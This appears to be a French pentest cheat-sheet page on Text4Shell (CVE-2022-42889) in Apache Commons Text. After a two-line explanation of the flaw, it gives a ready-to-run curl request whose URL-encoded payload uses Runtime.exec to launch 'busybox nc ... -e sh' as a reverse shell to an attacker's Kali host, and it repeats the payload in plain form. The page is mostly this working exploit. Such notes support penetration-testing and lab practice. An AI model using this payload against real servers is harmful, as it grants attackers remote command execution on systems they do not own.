Whackermelon
notes / attaques-applications-web / text4shell-cve-2022-42889-apache-commons-text

Text4Shell — CVE-2022-42889 (Apache Commons Text)

Principe

Apache Commons Text < 1.10 : l’interpolateur de chaînes exécute ${script:javascript:…} → RCE. Typique des apps Spring Boot (chercher la version dans /CHANGELOG, headers, erreurs).

Payload (encoder les caractères spéciaux en URL)

curl 'http://<IP>:8080/search?query=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27busybox%20nc%20<IP_KALI>%204444%20-e%20sh%27%29%7D%25'

Forme claire : ${script:javascript:java.lang.Runtime.getRuntime().exec(‘busybox nc <IP_KALI> 4444 -e sh’)}